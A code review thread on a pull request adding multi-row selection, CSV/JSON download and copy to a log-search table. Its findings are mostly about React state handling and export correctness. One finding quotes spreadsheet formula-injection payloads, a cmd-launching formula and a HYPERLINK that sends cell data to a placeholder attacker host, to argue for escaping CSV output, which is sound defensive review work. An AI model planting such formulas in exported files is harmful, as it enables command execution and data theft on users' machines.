feat: Support search row multi-select download/copy - #3140

I was very surprised/happy that shift click works to do multiple.. nice work! 🚀

Do you think we should call clearSelection when the user changes filters/date? it felt a bit weird that when I went back to the original search they were still selected.

Either that, or maybe we still show the selection header and its a feature that users can select things in multiple filters at once (ex exporting ok and error states so they can compare)

It feels more like we should clear though because currently if you select in the new view it discards your first options.. but if you go to a new filter, dont select, go back, it maintains

Good call! Updated.

🔵 minor — onSelectionChange is invoked from inside the setSelection updater, so the parent's setIsLive can run during the table's render

State updaters must be pure: React invokes them during the render phase whenever the fiber already has a queued update (the eager-state fast path only applies when the queue is empty), and double-invokes them under StrictMode in dev. Both paths are reachable here — RawLogTable owns several other useState/useLocalStorage hooks, so a second click while an update is pending runs this updater during render, calling DBSearchPage's setIsLive(false) from inside a child's render ("Cannot update a component while rendering a different component"), and StrictMode calls onSelectionChange twice per toggle. Move the notification out of the updater — e.g. useEffect(() => onSelectionChange?.(selected.size > 0), [selected.size]) — which also covers the render-phase reset at line 56, where the callback is never fired at all today.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}

🔵 minor — Adding or removing a displayed column silently discards the whole row selection

selectionResetKey stringifies all of searchedConfig, and select is part of queryStateMap (DBSearchPage.tsx:899); toggleColumn (DBSearchPage.tsx:1738) writes select and calls onSubmit(), so a user who selects 20 rows and then adds one column from the side panel — or clicks the X on a column header — loses the selection with no indication. Build the key from the fields that determine which rows come back (source, where, whereLanguage, filters, orderBy, time range, denoise) and leave the projection out. Worth noting the one case that genuinely needs a reset: when rowKeyColumns is undefined (no _block_number/_block_offset, DBRowTable.tsx:1506) the row id is derived from every selected column, so ids do change with select — reset explicitly for that case rather than for all.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}

🔵 minor — The "N selected" menu is the feature's only affordance but lives inside the last column's header cell, which scrolls off-screen

lastItemButtons renders inside the last <th> (TableHeader.tsx:25, overflow-hidden, width clamped to MIN_LAST_COLUMN_WIDTH = 200px), and .tableHead is only vertically sticky. Once the columns exceed the container width — routine on the search page with the filter sidebar and row side panel open — the user must scroll horizontally to reach Download/Copy/Clear, and at 200px the ~90px button plus the existing wrap/SQL/download icons squeeze the column title out entirely. Render the selection bar in the table toolbar above the table (a sibling of TableSearchInput) so it stays reachable and doesn't compete with a resizable column header.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}

🔵 minor — Rows sharing a __hyperdx_id are exported once per duplicate, so the export can hold more rows than the count claims

The search table never passes dedupRows (DBRowTable.tsx:1896), so two rows whose WHERE clause is identical both render — reachable whenever rowKeyColumns is undefined and two log lines are byte-identical. Checking one then ticks both (isSelected is id-keyed), and getSelectedRows pushes every loaded row whose id is in selected, so selectedCount says 1 while the CSV/JSON carries 2 and the toast under-reports (Copied 1 row). Guard the loaded loop with seen (if (selected.has(rowId) && !seen.has(rowId))) so one selected id yields exactly one exported row.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}

🔵 minor — "Copy row as JSON" and "Copy selected rows as JSON" now emit different shapes for the same row

The selection menu passes the displayed column keys (RowSelectionMenu.tsx:47), so its JSON mirrors the table, while the per-row hover button calls toExportableRow(row) with no columns and therefore still includes the query's appended key columns (_block_number, _block_offset, toDate(Timestamp), …) that appendSelectWithAdditionalKeys added. Pass the displayed columns down to DBRowTableRowButtons (they're already available as csvColumns in RawLogTable) so both copy paths produce the same row.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}

🟠 major — onSelectionChange is called from inside the setSelection updater, so it runs during render

Compute next before calling setSelection and invoke onSelectionChange?.(next.size > 0) outside the updater (or drive it from a useEffect on selected.size > 0). React treats useState updaters as pure and evaluates them during the render phase (plus eagerly in dispatchSetState when no update is pending, and twice under StrictMode), so on every checkbox click onSelectedRowsChange → setIsLive(false) (packages/app/src/DBSearchPage.tsx:1681, a nuqs useQueryState setter that pushes router state) is invoked more than once and at least once while RawLogTable is still rendering — React's "Cannot update a component while rendering a different component" error. Note clearSelection (line 62) already does it the right way.

_{Nothing blocks merge automatically, but a maintainer will expect this fixed if it is a real defect in code this PR changes. If it is about surrounding code, reply and say so instead of patching. Do not widen the PR. How to respond}

🔵 minor — Export tests assert row counts, never that the exported rows are the selected ones

Select non-adjacent rows (e.g. selectRows([1, 3])), read those rows' cells with table.getCell(1, 'Timestamp') / getCell(3, ...), and assert the CSV/JSON payload contains exactly those values. As written, expect(lines).toHaveLength(3) here and expect(rows).toHaveLength(2) at line 106 both pass if useRowSelection.getSelectedRows() returned rows.slice(0, 2) instead of the selection — i.e. the core behaviour of the PR is never pinned, only the row count and the absence of __hyperdx_ keys.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}

🔵 minor — toCsvString does not neutralize spreadsheet formula injection in exported log content

Prefix values beginning with =, +, -, @, tab or CR with a ' before handing rows to Papa.unparse. A log Body of =cmd|'/c calc'!A1 or =HYPERLINK("http://attacker/"&A1) — content any service emitting into the customer's ClickHouse controls — is written verbatim and evaluated when the downloaded hyperdx_selected_rows_*.csv is opened in Excel. The behaviour is inherited from the old CsvExportButton body, but this diff makes utils/csv.ts the single home for CSV serialization and adds a new path (RowSelectionMenu's Download/Copy as CSV) that exports raw log rows rather than aggregated chart results, so this is the place to fix it.

_{Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond}